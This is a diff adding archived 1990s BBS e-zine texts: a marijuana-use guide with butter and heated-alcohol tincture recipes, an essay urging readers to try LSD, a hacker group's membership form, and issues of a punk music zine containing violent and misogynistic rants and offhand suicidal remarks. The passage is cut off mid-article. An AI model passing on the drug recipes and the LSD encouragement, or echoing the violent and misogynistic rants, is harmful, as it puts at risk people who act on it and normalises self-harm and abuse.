+<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + +VI.> Report on Marijuana + + + Marijuana : The True Story + Written by: Wintermute + + + This paper is an exposition on the consumption of marijuana for its +psychoactive effects. Covered will be the two primary methods used in America +today, smoking and eating/drinking, with smoking being the more common method. +There are a whole lot of lies, half-truths, myths, and supposition about the +consumption of marijuana this is an attempt to clear things up as much as +possible. + +Smoking +------- + + Smoking is the quickest but least efficient method of ingesting marijuana +and experiencing its effects. Marijuana smoke contains a number of +carcinogens, many of which can be removed if the smoke is filtered through a +water bong but it will still contains some carcinogens and can be an irritant. +Studies have shown THC has a bronchiodialator effect, which may be effective in +purging the particulates from the lungs. + +Joints + + Joints, marijuana cigarettes, are the perennial favorite of many people. +They are "shake", marijuana which has had the stems and seeds removed, which +is inside a fold of rice paper and then rolled into a cylinder. This is the +singularly most portable method to smoke grass once the joint has been rolled. + + When a joint has been smoked down to the point that it is difficult to hold +it is called a "roach" and wide variety of paraphernalia exists which are +designed to hold the roach without burning oneself. Collectively known as +"roach clips" they include tweezers, alligator clips, forceps, needle nose +pliers, and ceramic pieces with holes through them. There are a number of +devices available to facilitate rolling a joint. Absolutely essential is a +cleaning tray to remove the stems and seeds from the lose marijuana. There +are a number of papers available with which to roll ones joint, varying in +color, pattern, size, and presence of gummed edges. There are rolling +"machines" which make the process of rolling a joint much less ticklish, but +with practice and skill at rolling joints these tend to hinder more than help. +One of the more intriguing techniques of smoking a joint is taking what is +known as a powerhit. This is accomplished by having an accomplice surround the +burning end of the joint with their mouth, taking care not to allow their skin +to come into contact with the glowing end, and blowing while one takes a hit +from the other end. This can be somewhat dicey, but is one of the more intimate +ways of sharing a joint. + + Etiquette requires one to pass the joint in a circular fashion through +those present. No one is required to take a toke if they do not care to, but +they are expected to pass it on if it comes to them. "Bogartting", hoarding +the joint when it comes to you, is a SERIOUS breach of protocol. People too +stoned to smoke the joint let alone pass it are expected to be skipped over +and a joint can (politely) be removed from someone if they do not seem to be +sharing the consensus reality. + +Bongs + + Bongs, or water pipes if you are in a head shop, pass the smoke through +water to cool and filter it. Grass is put into a bowl on the end of a tube whose +other end is in a sealed container partially filled with water. The end of the +bowl's tube is below the level of the water so that as the smoke exits the +pipe it is bubble through a layer of water. The air pressure in the chamber is +lowered by breathing through another tube that stays above the water level in +the chamber. When the air pressure inside the chamber is lowered, air from +outside the chamber passes through the bowl and its tube and bubbles through the +water. Bongs are not particularly portable, as they tend to be awkward, +delicate, and heavy. Sizes range from the size of a small pill container to +eight foot tall escapees from a mad scientist laboratory. Principally made from +glass, plastic, ceramic, and metal they can be an art form unto themselves. The +principal benefit of smoking grass through a bong is that the smoke is cooled +and several carcinogens are removed without removing the active ingredients. +One can put any number of liquids in the chamber to filter the smoke, and beer +or other forms of alcohol are often used, but this is not recommended. The +active ingredients in marijuana are fat and alcohol soluble and when filtered +through such substances the active ingredients go into solution. In addition +the carcinogens in marijuana smoke are water soluble so that when smoke passes +through some liquid other than water one loses active ingredients and gains +carcinogens in the smoke entering your lungs. One method recommended is to +put ice water in the chamber, the cooled water is not quite as effective at +removing the carcinogens but the additional cooling is favored among +smokers. Carburetors are small openings in the chamber that are covered during +the hit and towards the end opened to allow all the smoke to escape the chamber. +Occasionally one finds a bong designed so that carboration is accomplished by +lifting the bowl slightly and allowing the air to enter the bowl tube. + +Pipes + +Pipes are the simplest devices used to smoke marijuana. For the most part +they are similar to pipes used to smoke tobacco but marijuana pipes should be +made of heat resistant materials such as stone, ivory, metal, glass, and +occasionally harder woods. Grass does not tend to stay lit in pipe so +flame constantly has to be applied to bowl which heats it up more than pipes +with tobacco in them typically are heated. A common variant of pipe is the +stash pipe, a pipe where one may store a small amount of grass. Some stash +pipes are constructed in such a manner that the the smoke passes through the +stash area so that the grass inside is bathed in the smoke and acquires a +coating of resin which contains THC thus making it more potent when it is turn +is smoked. There are glass hash pipes which are used to smoke hashish and +hashish oil, the materiel is placed in the bowl as with other pipes but +instead of heat being applied to the top of the substance it is applied to the +bottom of the pipe. + +One-hits + +One-hits, or dugouts as they are sometimes called, are a highly portable +method of smoking grass for someone who does not want to smoke an entire joint +at one time. A one-hit is a small metal tube that has a small cavity at one +end and a mouthpiece at the other. One presses the cavity into a small +container of cleaned grass to fill it and then is lit somewhat like a +cigarette and inhaled steadily until the grass is gone. One only gets one +inhalation or "hit" per filling thus it is called a one hit. A dugout is small +wooden container which has a space for the cleaned grass and another space for +the one-hit itself. + +Gas Pipes + +Gas Pipes are open ended tubes with a small bowl mounted near one end +perpendicular to the main axis of the tube. The end near the bowl is covered +with your hand and the smoke is drawn into the tube until the bowl is burned out +then the hand is removed and all the smoke in the tube rushes into your lungs. +These are usually made from glass, though occasionally one will find plastic +pipes. + +Gravity Bongs + + Gravity bongs are more a style of smoking than a particular apparatus for the +consumption of marijuana. With a gravity bong one uses water pressure to +create the vacuum in a chamber rather then one's lungs as with water pipes and +gas pipes. A gravity bong is made by placing a cylinder that is open at one and +and closed except for a place for a bowl at the other. The open end is placed +in a large container of water until the chamber of the cylinder is filled with +water. The filled bowl is then attached and a flame is applied to the +marijuana in it. The cylinder is lifted slowly up. As the cylinder is lifted +up the water trapped inside will seek to escape out the open end into the +container due to the force of gravity. This creates a vacuum at the top of +the chamber near the bowl, this vacuum sucks the smoke from the burning +marijuana into the chamber replacing the water. A tube may reach from the +bowl to near the base of the cylinder making it a true bong or the end may not +actually enter the water so that is is similar to a gas pipe. after the +material in the bowl has been burned and the smoke has filled the chamber the +bowl is removed and the cylinder is pushed back down into the container. As the +water re-enter the chamber it forces the smoke out where and hopefully into an +expectant individual. This is the most common form of a water bong but any +number of similar schemes exist which can use the vacuum created by the +exiting water to draw the smoke, and then use that water again to force it out +of the chamber. + +Tilt Pipes + + Tilt pipes are pipes which have a heating element built into the pipe at +the bowl, the element heats the marijuana to sub-flammable temperature but +which will activate and release the cannabanoids, or active ingredients, from +the plant material. Most smoking accessories apply an external flame to the +marijuana which vaporizes and breaks down many cannabanoids before they can be +consumed, thus wasting a portion of the active ingredients in the marijuana. +These device tend to be very rare usually only found among connoisseurs. They +are called tilt pipes because one tilts the pipe to bring the marijuana into +contact with the heating element. + + +Eating & Drinking +----------------- + + The active ingredients in cannabis are fat and alcohol soluble so they can +be extracted and added to foodstuff entering the system through the digestive +tract rather than through the lungs. This type of consumption of marijuana tend +to be both slower and more efficient than smoking it. Further the noxious +effects of consuming heated smoke are completely eliminated. For these reasons +this is the favored method of marijuana consumption by many people. + +Eating + + Marijuana must be heated before being consumed to activate the cannabanoids +so one cannot simply eat raw grass. The traditional method of eating it is to +cook it in a brownie, especially when it is in the form of hashish, though it +can be used in any number of things. The recommended method of eating marijuana +is to saute it in butter or margarine over medium heat, then to strain the +remaining solids out and use the butter to cook with. One can use this +marijuana butter to make brownies, cook vegetables, or however else one might +use butter to cook with, one can even spread it on a slice of bread. Many +people will mix the the residual solids in with whatever they are cooking in +hopes of making use of whatever cannabanoids might still be in them, but if +done properly this in not generally valuable. A typical ratio for making the +marijuana butter is one stick of butter to one eight of an ounce of marijuana, +and headed for fifteen to twenty minutes. + + +Drinking +-------- + + One may extract the active ingredients from marijuana using alcohol and +then use this tincture to make a potent drink. The highest proof alcohol +available should be used, preferably 190 proof grain alcohol, since the water +in the alcohol will dissolve other chemicals in the marijuana that one +wishes to avoid. Some suggest soaking the grass in warm water for a period to +remove those chemicals but that presents a whole host of other and is not +really recommended. One may simply place the marijuana into a bottle of grain +alcohol and let the canabanoids leach out, but this takes 2-3 weeks of time. A +faster method is to heat the alcohol to sub-boiling and stir in the marijuana. +Great deal of care should be taken if this method is chosen as the alcohol is +highly flammable. The resulting tincture, often called "Green Dragon", is a +light to emerald green liquid, which can be drunk straight, but this is not +recommended. Highly lauded is a drink of 3 parts lemon lime soda, 1 part green +dragon and a dollop of honey served over ice. + + +-[TAP] The Alliance Publications + + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + +VII.> Storytime! LSD Experience + + + LSD Experience + + + For many years, LSD has been used by many individuals to "enlighten" their +sense of being. LSD is a physchdelic that alters an individuals perception +into the true essence of existence. LSD is a gateway to inner enlightenment, +a true sense of fulfillment. + On one of my recent voyages into the "unknown" brought me to discover a +plane of existance that only one who truly trips can see. It's a world of +flashing light, comet trails, distorted images, and reality. Ahhh, you say +reality? Yes reality. A reality that is unvailed from which has been hidden +from us by our goverment. A reality that will literally shred all things +known to exist, apart. + LSD comes in many different colors, and dosages. Many different things will +be shown to you as you journey along the brightly lit halls in which you +travel. Things will suddenly become clearer and clearer as you daze of into +your own personal little reality. Who said dreams can't come true? With this +wonder "drug" thing WILL come true. + I'm not saying go out and find your local drug pusher and spend your lunch- +money on a hit. But whenever you have the time and money to spare. Why not +try it? What else will you do, clean your room? + + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + +VIII.> Appendix + + Boards that belong to the all powerfull +governing body of The Alliance Productions: + + The Villa Straylight The Lair of the Wolverine + (407) 297 1180 (407) XXX-XXXX + Home of Alliance Dist Site #1 + WWIVnet @4703 WWIVnet @4701 + + + The Temple of the Answering Machine + (407) 291 6894 + Dist Site #2 + Illuminati + + Along with anonymous [ZAN] boards....leave message to us for application + for a [ZAN] board. + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + + March 18, 2118 (c) CopyMYright The Alliance Production Publications + 11:10 pm (c) CopyTHEIRright Zhit Axis Nation + + Kiss them for me! I may be delayed! + +============================================================================== + + +Application: + + (Cut along the dotted line!) + +\ /-----\ --\ /------\ /---\ /-----\ + \ / \/ \ \ \ | | / \ + \ /----/ \ \ / / \---\ / -\ + \/ \------/ \-------/ |------/ |- + + ==> The Alliance Productions <== + ==> New Member Application <== + + + Please answer the following Questions to the best of your abilities. +Answer the questions in the space below the answer. Enough space is given +for a response. All Applications are subject to review by ALL [TAP] members. +Application will be subjected to a vote which MUST make the majority of the +votes. When you make it in, you will receive a button and a twirly hat with +our logo on it. + + +<1>. What is your definition of a Computer Hacker? + + + + +<2>. What does TELCO mean? + + + +<3>. What is a Trunk? + + + + +<4>. How many hertz does it take to drop into a Trunk + + + +<5>. How many months are in a LEAP YEAR? + + +<6>. What does PBX stand for? + + + +<7>. What is the ASCII chracter for the Hex Code 0A + + +<8>. What is a CD13 (in ASM) + + +<9>. Do you Hack? + + +<10> If yes, what? + + + + + +<11>. Do you Phreak? + + +<12>. What languages can you program in? + + + + +<13>. Who's president of the U.S.? (as of 1991) + + +<14>. Do you read Mondo 2000? + + +<15>. List some boards as references: + + Name Phone# SysOp + --------------------------------------------------------------------------- + 1 + 2 + 3 + 4 + 5 + 6 + --------------------------------------------------------------------------- + +<16>. What is you computer (i.e. Comp type, baud rate, hard drive capacity) + + + + + + +<17>. Why do you wish to become a member of [TAP]? + + + + + + + + Ok, now that you've answered these questions, you must type up an ORIGINAL +article for "The Guide to a Better Society". If it makes into an issue, then +you're automatically in. If it doesn't, you will be subject to approval by +all existing [TAP] members. The vote must be a 75% vote for you to get in. +You will need to WWIVnet E-mail user 1@4703, or UPLOAD this application to +one of our supporting BBSes for us to get it. + + Thank You! + The Alliance Productions Staff + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> diff --git a/textfiles.com/magazines/MISC/allnoall.001 b/textfiles.com/magazines/MISC/allnoall.001 new file mode 100644 index 00000000..159c84d7 --- /dev/null +++ b/textfiles.com/magazines/MISC/allnoall.001 @@ -0,0 +1,456 @@ +_________________________________________________________________________________ + "How Could Hell Be Any Worse?" +The zine created by and October 17/18, 1992 +virtually maintained by ALL? NO, ALL!! #1 First issue! Oh +The Kokomo MOD Crew. joy! Another zine! +_________________________________________________________________________________ + +POINT OF THIS E-ZINE + +To cause awareness of the mighty ALL to the general public. If you know nothing +of ALL or the Basemaster General, you are correct in reading this. + +STAFF: + +Wooden. Metal? Half a tree? Wizard's? What? I give. + +Seriously: + + Matt - head honcho of the whole thing, most ALLular (listened to Descendents + for 2 years, ALL for 3 months). Can be reached at 2@13750 WWIVLink + or 2@3173 VirtualNet. + + Net - Trent Reznor of Indiana: one of his MODs won the America Online MOD + contest, summer of '92. Co-member of Count Zero, along with Matt. + Thinks Matt is a complete freak. + + Neuro - organizer of the Kokomo MOD Crew, which is himself and Count Zero. + Only recently set on the path to ALL (this summer), Neuro has learned + much, but not ALL about ALL. His BBS, the Matrix, (317) 455-0165, is + an invaluble asset to the Kokomo area, and to some who call from far + away. 1@13750 WWIVLink, 1@3173 VirtualNet. + +INFLUENCES: + + Descendents/ALL (duh) + NIN + Ministry + *** BIG BLACK *** <-- my personal favorite industrial band + The Replacements (Twin/Tone era) + Fugazi + Too Much Joy + The Spooners + Black Flag ("Damaged" era, Matt influence only) + Being really pissed off at women + Being rejected by women + Wanting to take hold of a blowtorch and kill everyone (CZ's "The Blowtorch + Song") + Matt's attempts to prove the non-existence of love + Denial of love, renouncement imminent + Alberich and the Ring of the Nibelung + Odin and Thor + Milo and Otis + Milo Bloom + Milo Aukerman + Asking people why Aukerman left the Descendents + Asking people if Tony Lombardo is still alive + Hating metal (Matt and Net) + Hating Halloween and the stupid traditions + Trying to score a hit from Steve Albini + Opus + Bill The Cat (for his intellectual qualities) + Steve Albini himself for hating everything + Bad Religion for our credo + A lot of other things + +------------------------------------------------------------------------------- + + TABLE OF CONTENTS FOR ALL? NO, ALL! ISSUE #1: + +------------------------------------------------------------------------------- + +1.1 ................... Greetingage +1.2 ................... Slam List +1.3 ................... Reviews +1.4 ................... Mistakes We Have Made +1.5 ................... How To Just Say No, Thank You, You Scum +1.6 ................... Why? +1.7 ................... Can You Ski? +1.8 ................... ALLularity +1.9 ................... Milo Aukerman's Corner +1.10 ................... Goodbyeage + + +1.1 Greetingage + +Hi. This is Matt. This is so much fun. Well, it will be when we start typing +things that actually make sense. This zine started from the ashes of another +trap I set for myself, so let's ALL enjoy it at my expense. + +So. There's this girl I wanted to date. I swear.. I'm going to bloody give up +soon. On dating at ALL. I no longer care enough to put myself through it. +Bloody pointless waste of time, scrabbling over trying to impress a girl JUST +long enough for her to divert her attention to some subhuman prep school grad, +who invariably wears what he thinks is a cool sweater. Goddamn bunch of clones, +the lot of them. If it's always going to be this way (why not? has been +continually so far), then to hell with it. + +Anyway. She and I talk for about a week, then I take the dive of calling her. +Big thing with me, calling girls. I fear the phone sometimes. So, I gather my +courage to call. I call, we talk for ten minutes, I'm doing fine. Then she +says something about some dude, and I ask about him. Guess just what the hell +she said. Guess. I'll bloody tell you what she said: + + "Oh, he's my boyfriend." + +I was proud of myself to no end. I kept my cool, and, without missing a beat, +replied, "Oh. Cool!" and kept talking. I don't even think she realized that I +liked her, which is both relieving and depressing. + +After blasting S.O.D.'s live album for an hour, I felt slightly better. Then +after I ripped hell out of my room for awhile, I felt better than before. I'm +still pissed at myself for wasting both my time and hers, but oh well. I'm such +a fool. I bought ALL's new album, _Percolator_, today. I don't feel like +hearing it right NOW, however.. hopefully before the night's over. Right before +I began typing this all up, I was working on a new MOD. Loud, brutal, and +unforgiving.. I guess it's what I'm subconsciously trying to be. I've devised a +new motto for my half of the CZ/Kokomo MOD Crew MODs (I may .GIF this): "Brutal +Music From A Brutal Person." Better than "Cows Go Moo." Even "Cats Have Fur +And I Don't" is better than "Cows Go Moo." + +Enjoy the damn issue, I didn't. + +1.2 Slam List + +Today, as you go through your daily life, keep in mind that these things and +people are worthy of scorn: + + Life + Pretty girls that don't like you + Ugly girls that do + The Pixies + Top 40 Radio + AOR Radio + Any damn kind of radio + Paul Westerberg + Joe McCarthy's ghost + fIREHOSE + Women that fake orgasms in crowded restaurants + Mornings you wake up in a pool of snot/puke/blood + Mornings you wake up at all + The Pixies + Joy Division + Rap + Fraternities/Sororities/Other Savage Xenophobic Cliques + People that take S.O.D. seriously + People that take ANYTHING seriously + The KKK + Fascists + Buster Poindexter + The Pixies + Mindless people that must be told what to do and when to do it + Eccentric college professors + ANY college professors, except those cool ones that you actually learn from + Body Count (not because of the controversy, but because they're not that + great a band) + People that worship Ian MacKaye + People that worship ANYTHING + BBSers that don't have a clue as to what the hell they're doing + Arrogant people + Non-arrogant people + Any person that pisses you off + Any person that pisses ME off + People that breathe really loud + Churches + Puking + Being in love + School + The government + Rednecks + Lame music stores + Indiana + (Did I mention the Pixies?) + + +1.3 Reviews + + SOUNDS: + + (Note: None of these are necessarily new. Live with it.) + + Chris Mars, _Horseshoes and Hand Grenades_ + ------------------------------------------ + I don't give a damn what anyone says about this album; it is a work of ART. + No wonder Westerberg threw Mars out of the 'Mats (which was just before the + band broke up.. duh).. he was afraid of being eclipsed by Mars. + Mars can equal Westerberg's writing prowess, no problem. He also has + musical diversity in his effluvia than Paul has had in his entire body in + the last few years. From rockers like "Popular Creeps" and "Ego Maniac" + (both of which possibly tributes to Westerberg) to slower tunes like + "Don't You See It", Mars evokes a wide range of emotions in the listener. + From contempt for the arrogant stars of "Popular Creeps" to pity for "Don't + You See It"'s misguided subject, the feelings are powerful, indeed. + There are some problems: Mars isn't necessarily a better singer than + Westerberg; he rather sounds like Eddie Money at times. Some of the songs + sound VERY similar.. one would think they're almost the same one. But, + these can be overlooked, as it's just an excursion into Chris' mind. + (released on Smash Records) + + Sugar, _Copper Blue_ + -------------------- + AHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAH! + + Don't waste your money. Bob Mould was better with Hsker than with this + lame-ass band. And Bob STILL can't sing worth a damn. It was cool in + 1984, not so cool now, however. + (released on Rykodisc) + + ALL, _Trailblazer_ (live album) + ------------------------------- + Steadfastly holding to the ALLular traditions of coffee, food, and girls, + ALL blast their way into New York's CBGB's on this '88 live recording + (didn't I say that none of these would be new?). Some songs are the only + recorded accounts of new vocalist Scott Reynolds singing them, such as + bassist Karl Alvarez's "Skin Deep" and "Hate To Love", and drummer Bill + Stevenson's "Just Perfect". "Skin Deep" and "Hate To Love" are too + heart-felt not to be derived from some true experience; "Skin Deep" is + about being attracted by a woman's outer charms, and finding that she lacks + anything inside, while "Hate To Love" is simply about being rejected and + agonizing over it. Reynolds' "Box", which would, at first glance, appear + to be a song about a homeless person, has some reALLy cool talk breaks in + the middle, where Stephen Egerton's guitar gets partiALLy dischordant, and + somewhat metALLic. Another couple of standouts are live versions of + Stevenson's "She's My Ex" and Tony Lombardo's "Man-O-Steel". Things are + closed out appropriately with the Descendents' "Theme" rewritten by its + original author, Lombardo (who is NOT a member of ALL), called "Gnutheme". + Egerton's guitar cooks on this one. A FINE album. + (released on Cruz Records) + + + ALL, _Percolater_ + ----------------- + Not the jazz-punk fusion I had feared. As a matter of fact, a DAMN good + album. Not in your face kind of music, rather kind of fun. "Hotplate" is + a dedication to an eatery of some sort and its owner, who Stevenson is + apparently obsessed with. "Gnugear (Hot)" is a kind of stupid joke-like + song about a guy that goes to buy new guitars and can't even tune one. + "Minute" was musically my favorite.. key of E, some cool changes in that + one. Also lyrically (kind of) fit my situation. I still miss Milo, but + while Milo was more of a screamer, Scott Reynolds is actually a singer. + But don't get me wrong, Milo eventually got better. + (released on Cruz Records) + + BOOKS: + + Get real. We're based in *^&$%^$ing KOKOMO. Think about it. We have one + real bookstore. And even that's in the state's scrubbiest mall. + + Sorry. Kokomo's half-life makes me reALLy aggro. + + SIGHTS: + + I haven't seen anything lately. Nothing really pertinent to the genre + released here. Gee, what a surprise. + + Oops. Attack of the "I Hate Kokomo" syndrome again. + +1.4 Mistakes We Have Made + + Matt - "The major mistake I made was wasting my time on that one chick and + probably pissing her boyfriend off. Oh well, I'm taller than most + everyone she knows, and I've probably seen her with him, so, BFD. I + wish I was dead, though. But that's not why. I'm just sick of + life. Maybe next ish will have Neuro or Net in charge. But, then + again, as has been pointed out, suicide in Kokomo is redundant. + We're dead already." + + Net - "Not getting a Pro Audio Spectrum instead of a Soundblaster at the + start of summer." + + Neuro - "Not getting a loan from the bank for a 1 gig HD. Also not shutting + Matt up about this stupid chick he keeps railing about. Matt: Move + on!" + + +1.5 How To Just Say No, Thank You, Scum + + Grab the white, fat suburban P.O.S. by the starched collar of his Arrow + shirt, or by the fabric of his cool sweater, and shake the bastard until he + starts to cry and offer you money. Then, take your hand, fold 4 fingers + inward toward the palm, and the thumb across that, and BEAT THE HOLY SHIT + OUT OF THE LILY-WHITE LITTLE TEAM CAPTAIN PROM QUEEN LOVE SLAVE FROM ARMANI + HELL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + Suit-wearing little bastards had the damn things GRAFTED on at birth. No, + I'm okay, I just need my medication. + + +1.6 Why? + + In this section, we attempt to answer the ALL-encompassing question: "WHY?" + + Let us ponder this one: "Why am I so bitter?" + + a) I was born that way? + + b) Satan put a curse on me? + + c) It's just because I'm a punk? + + d) Because women think they can use and exploit me freely and they're + totally wrong because they're all a bunch of vain and self-centered + bitches? (Well, not all of them, because I have a few female friends + who are nice to me, which makes them okay.) + + e) All of the above? + + Shall we go with "e"? Yes, I think that we shALL. + +1.7 Can You Ski? + + Somehow the jokes that knocked me on my ass an hour ago lose something after + a drink or two. Maybe it's because alcohol is a depressant. Gee, that's a + cool choice to drink when you're depressed. Most suicidals are alcoholics, I + found out. I don't recall where or how I discovered this. + + Life sucks, and then you ski. Can you ski? Take this quick test to find + out: + + 1. Do you have a sense of balance? + + a) Yes. + b) No. + c) Huh? + d) Pittsburgh. + + 2. Do you know your name? + + a) Yes. + b) No. + c) Pat Sajak. + d) Pittsburgh. + + 3. Can you use the word "dude" 12 times in a sentence? + + a) Yes. + b) No. + c) Dude. + d) Pittsburgh. + + 4. Where do you live? + + a) St. Paul. + b) Aspen. + c) Mars. + d) Boston. + + 5. Why do we have such a fascination with Pittsburgh? + + a) Because Satan is in disguise, living there in sin with Jessica + Rabbit and Jim Morrison. + b) I don't know. + c) Okay, you're screwed up. + d) Whatever. + + 6. Does Steve Albini wear a sock hat in the winter? + + a) Ah, but does he wear SOCKS? + b) What? You make no sense. + c) What does this have to do with skiing? + d) No, he throws them, on fire, at Al Jourgensen. + + 7. Can a pissed-off teen be considered an explosive? + + a) No, but they make wonderful projectiles. + b) I'm not answering any more of your damn questions. + c) Get a life. + d) Matt is a god. + + If you answered (b) to any questions, you can ski. If you answered (d) on + #7, you have been blessed my me as a deity. If you answered (b) to #7, + piss off! Don't be so damn hasty next time. It was the last question, + moron. + + + +1.8 ALLularity + + ALLularity, in one of its many forms, is coffee, food, and trying to fall + in love. The latter disagrees with my mood for the moment, but ALL goes + on. + +1.9 Milo Aukerman's Corner + + Dear ALL? NO, ALL!! Readers, + + Hey, this is Milo, reporting from my hideaway of the last four years, + Tupelo, Mississippi. The home of the grade-school Elvis, so I've been led + to believe. I don't believe the stories about him being carted to school + in a white van, while he was forced to listen to John Denver for a + straight 4 hours before they could loose him on his teachers, however. + I've not been called stupid yet in my life in Tupelo. + It really pissed me off today.. went down to the store to try to find + Bill's band's new release, and they told me they didn't carry devil music. + I attempted to explain the concept of ALL (although I concede that I don't + know it that well myself), and simply received a blank stare and a burning + cross in my yard later that night for my generosity. + But "devil music"? How ridiculous. An association made by a feeble + mind. I wasn't (nor was Bill) nor would I EVER (Nor would Bill) be in a + band that drank blood onstage or off. Blood is ALLular, but only if kept + inside its container, i.e., the living body. We also didn't like the + look of pentagrams. Looked too angular; we liked symbols to be softer, + etc. + But, via a 4-month long wait, I eventually obtained a copy of + _Percolater_ from Cruz Records, direct. The postman gave me an odd look + when he delivered the package, then ran away. I hate these people. I + rather liked the album, although I wish they'd do some Descendents songs. + But the past is the past. I wish I had more to do though.. gets boring in + Tupelo. + Well, I will leave you ALL to have an ALLular day. May your dreams + become reality. + + Milo + + P.S. - One advantage to living in Tupelo.. I can get lost in a crowd so no + one recognizes me. Sometimes I forget who the hell I am. Not. + + + +1.10 Goodbyeage + +Well, we hope you enjoyed the first issue of ALL? NO! ALL!! Even if you didn't, +there'll bloody well be another. Because we're young, we're pissed, and we're +outspoken. Also, a good deal of the time, we're sober, so ALL the better. + +Be ALLular to each other. + + Matt, Net, and Neuro + + + +1.11 Last Minute Additions + + I don't care what you do with this, as long as it's distributed. Any + complaints with material? Direct them toward Matt. It's no one else's + fault. Like an issue? Sned a note Matt's way, via WWIVLink or VNet. + Sorry, no Internet or USEnet. *sob* I'm so sorry.. we are but a poor BBS + community.. + + The size of this issue sucks. It should be MUCH larger. I guess I was + just too pissed off. Oh well. Get used to it. + + We agree with Bad Religion's theory of "How could hell be any worse?" If + you are an agnostic and want to write for us, contact us. If you are an + atheist and want to write for us, contact us. If you are a fanatic and + want to write for us... No. We want no radical viewpoints (except our + own) given out. + + Next ish: A Listing of the Greatest Albums of ALL time. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + Matt - 2@13750 WWIVLink +"Baby, I want MORE!" ALL? NO, ALL!!!!! 2@3173 VNet + "The ezine from hell" Neuro - 1@13750 WWIVLink +"If I had a blowtorch..." October 17/18, 1992 1@3173 VNet + Net - Sorry, I just + didn't know. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/textfiles.com/magazines/MISC/allnoall.002 b/textfiles.com/magazines/MISC/allnoall.002 new file mode 100644 index 00000000..9e01d468 --- /dev/null +++ b/textfiles.com/magazines/MISC/allnoall.002 @@ -0,0 +1,574 @@ +------------------------------------------------------------------------------- +Kokomo's ONLY ALL? NO!! ALL!! #2 Bad attitudes +'zine. Hell, April 13, 1993 - galore! Cynic +THERE'S a shock, October 2, 1993 philosophy by +huh? The AARGH! Edition the score! +------------------------------------------------------------------------------- + +Distribution: + + This E-zine and all original contents are (c) 1993 RageBoy + Publications, unless stated otherwise. + + This E-zine can be found as either ALL.x (x being the issue number) + or ALLNOALL.00x, depending on your source. If this file arrives + at your domain by any other name, someone fucked with that file + bigtime. + + ***IMPORTANT DISCLAIMER!*** +------------------------------------------------------------------------------- + + The editors of and contributors to ALL? NO! ALL!! will NOT be held + responsible for any misuse of the information within any issue of this + E-zine. All articles are intended for an INFORMATIONAL or HUMOROUS + purpose solely. + +------------------------------------------------------------------------------- + + +Table of Contents: + +2.01 .......... Editor's Notes +2.02 .......... Karl Marx and His Tips for Good Health +2.03 .......... Moo Cows +2.04 .......... Can't Get A Job +2.05 .......... Slam List +2.06 .......... Why? +2.07 .......... White Punks on Punk (Music reviews, news, the Shoes) +2.08 .......... I Am Joe's Spleen +2.09 .......... KMC Update +2.10 .......... In Defense of Shannen Doherty +2.11 .......... Pissing On the Third Rail +2.12 .......... Black Francis/Frank Black's Neighborhood +2.13 .......... Milo Aukerman's Corner +2.14 .......... Can You Ski? Pt. II: The Revenge +2.15 .......... Have A Lovely Evening + +STAFF: + + Matt Shaw: chief editor/member of The KMC + Netrunner: contributor/member of The KMC + Neuro : Indy correspondent/member of the KMC + +----------------------- +2.01 Editor's Notes +----------------------- + Yeah, yeah, yeah. "So why did issue 2 take so long?" Because I've + been fucking busy the last few months. Finding new tunes, calling + BBSes (which are not, I repeat, NOT cyberspace in INDIANA, at least), + and actually having a dating life which I have put aside in pursuit of + misery and better-sounding music. All the stuff I wrote when I was + happy sounded like Paul Westerberg with brain damage, musically and + lyrically. So, said I, "Fuck that." + + I am somewhat ANTI-feminism, now. I hate the term "politically + correct".. if punk rock is supposed to be based on non-conformity, why + do we all do the same thing? And why do we even bother to call people + like Nirvana, Pearl Jam, and whatever new sellout from the underground + "alternative"? Call them SHIT. That's what they are. REAL punk rock + was, is, and always will be underground. That's where the changes are + being made, where people are really different. That's what pisses me + off about even the watered-down "alternative" music becoming sold-out: + because of shit like Lollapalooza, scores of rich white kids purchase + tickets to this ripoff to see bands that they've never heard of but + that it's "cool" to follow. In addition, these brave, trailblazing + "non-conformists" all wear identical flannel shirts in fucking 90 + degree heat. It's all commercial. Ministry is revered by millions of + self-proclaimed "punks" world-wide. "Oh, they're so original!" all + these morons gush. No FUCKING chance! If you listen, really closely, + to "Thieves", then go listen to "Live in A Hole" by Big Black... one + of the main drumbeats are the same. And "Live in A Hole" was recorded + in 1983. "NWO" from the big sellout album, _Psalm 69_, seemingly + "borrowed" the guitar from parts of "Racer X" by.. guess who? As Steve + Albini himself said (_Pulse!_, June 1992, p. 120), "If you sampled one + second off of _Atomizer_ or _Songs About Fucking_ and looped that one + second for 45 minutes, you'd have a pretty good approximation of a + Ministry record." The shit that these "new revolutionaries" do their + little dances to isn't even original. No real surprise. + + Ah, who really gives a shit? My point is: punk has become what it + hates the most. Everyone in the "scene" is a fucking CLONE. This is + why the supposed "scene" isn't my stomping ground at all. Punk, in + this "politically correct" era, should be the OPPOSITE. It's + fashionable to be PC, and true punk detests fashionability. There is + sufficient irony to choke a horse in the fact that the "grunge fashion" + is actually being marketed as a fashion. + + Back to something I originally was going to say, before all THIS + shit started: I don't think women should go out of their way to + act like delicate little flowers for men, but I don't think they + should go and hate us all, either. On the topic of feminism, I'm + a moderate. I'm male, and proud of it. Only, sometimes, all + these abusive assholes make me kind of wonder about whether I + should be proud. Men who abuse women in any way should be fucking + shot. + + Okay.. I'm done with this rant. I release you to enjoy the issue. + +----------------------------------------------- +2.02 Karl Marx and His Tips for Good Health +----------------------------------------------- + Greetings, comrades. I am Karl Marx, and I must share with you the + secrets of health that the imperialistic swine we call the bourgeoisie + insist on keeping secrets. I am here to answer your questions, so, + comrades, fire away! + + Question: Dear Mr. Marx, + I am thirty pounds overweight. How may I start to lose + weight? + Signed, Black 